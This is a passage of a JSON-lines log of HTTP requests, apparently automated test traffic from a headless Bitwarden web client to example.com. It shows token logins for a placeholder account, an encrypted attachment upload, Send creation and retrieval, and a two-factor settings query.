l0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"key\":\"2.6+/t1cXLQjL2XWtxlMFWUQ==|S1bEjNovqaa9eXcoDAv8diMkX+csiOa22ZWN1W+qFWZ9Nii2zmgCYYvFkw5aeL0+d7w0f8bZSnEEzkWZFytrsvIMS5qRkbDcvKhFjmoAUY8=|3oJjBLKNdJAeIsrniH0Y2RRmQZQL5wvmQL7+tUZLgRM=\",\"fileName\":\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\",\"fileSize\":129,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:21:20.572Z\"}"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/ec4c8ed74f6d3c56443a", "headers": ["Host: example.com", "Content-Length: 476", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfDyB7dEAAtvhyCLV", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "------WebKitFormBoundaryfDyB7dEAAtvhyCLV\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\"\r\nContent-Type: application/octet-stream\r\n\r\nAgi25DaJcG/TpZQDNvwCVsKMfQZe0szpwbq2K2Yvdw+ILI0UzO1tkuw6XGF3oPW2TiI+O9Pq8s9+ffckxzs6v//6Blz+yRFAGffH1BCJuS1/tfUaq4+2BYJUm3+wi5ZLuaHPZ6AUpEOpgmNmziZ6gLPUzE9arx/rfsfRlCRMlMh5\r\n------WebKitFormBoundaryfDyB7dEAAtvhyCLV--\r\n"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20532cb3-1d4a-461b-b5d7-2b94d6eab5e7&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=6c35bee9-33d5-4f3b-bcc7-6fdc427bbf29&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=eae1b97e-7594-486e-8101-06f7bb5349e5&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bfc9d96d-a051-4bb0-9c39-dbedbef320c8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=66dc38d8-6f33-481c-ad24-9c4f1e179a32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=23865f51-21f2-49ee-856b-ef44e52c009d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0ca6b559-7b65-4146-9d04-0dca9d80f540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/sends", "headers": ["Host: example.com", "Content-Length: 785", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":0,\"name\":\"2.UG0NfZP+eYgYbFkoRW6pTQ==|hpW2x+CkS4AlevPY22zQcXyGE3s2zeJdH3mRK8hOIn8=|kXyiZb4Y18fFHeqrsMFhxuT1iCFq7i0z+G7s1/Uk/50=\",\"notes\":\"2.azdjfJs5HdF6wBOmMaPplQ==|pUwrcZiX5oj3kvlBTJnTvykJERLBTaXClAK1P5IW07caL8yCyE6kl2FQpkU5RyGK|7xrxPjMkJMSxEIdNAXHU01rL5kAPaaqMR74Z/rpywX0=\",\"maxAccessCount\":5,\"expirationDate\":\"2026-11-17T03:28:30.000Z\",\"deletionDate\":\"2026-11-17T03:28:30.000Z\",\"key\":\"2.leQijIRkDpE2rFtp0gLrQQ==|nUvLKx1yAiewP5OIcrErkZd/h4twE02xICbcFqwXKPQ=|rAX8Ax54P6URtJhssMXWRwtgDuctbvIGzPUenTYTCRw=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.GoddGA97p/EQNASon7QqIw==|0/M189+zXehpfs/w/a8EG4BBWa94rWFXk4JC3hkTQNDieslAA2csP5z4SvJf82Jj15bcYWJXEuzOgRQrAf9gEQ==|u3S4hzZTBJxeDqMYb/H2P4/ePlY0eq6SpAhxYMxQ5U4=\",\"hidden\":false}}"}
|
||||||
|
{"method": "GET", "target": "/api/sends/53749b39-757b-49c2-abd0-d9d606713e8d", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=794eb997-4a05-4e1c-8d80-e8bd7bc035c1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/two-factor", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEzMjksImV4cCI6MTc5NDI4ODUyOSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI3OTRlYjk5Ny00YTA1LTRlMWMtOGQ4MC1lOGJkN2JjMDM1YzEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.OWvitaQoFayAvf-uRSzSjM8uh7CyqtVrrD2GzgY6lazGHVHcTTjdTLrDAblHGw94_r1pN4jkkMjJEz7jRMmbleCe99Lz8pSQ_roCk7WxxC3IIbw4aCEORbztknrjXHhhWEghn2MvcwM3yok-i9xzRM-YUXcmSdR8Lb0bVcfCIZuVJaGIRa5Ixq_CIc-NnzVl_umwKwXe0NA8k6wdHoUW_r7DyD31szPJhcpitw_mekbDYKpm3mCwgl7WvkBy73mJlDhduZ3NHA85YmHu7I_0JgMal_CDXfnUPYfAqBwO7jOVtrvsuyyEIga-IQq68jUbSAIFmw1_2EA-jZ7qIvc1uQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0681b06f-477d-4b4a-89ce-960167180cfc&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bf045b02-9f2d-4510-9739-6873c279a75e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e7f101bf-a371-40c9-b836-f28c304e7fdb&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5585f140-74a8-4342-bcb9-66c0e36daa84&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
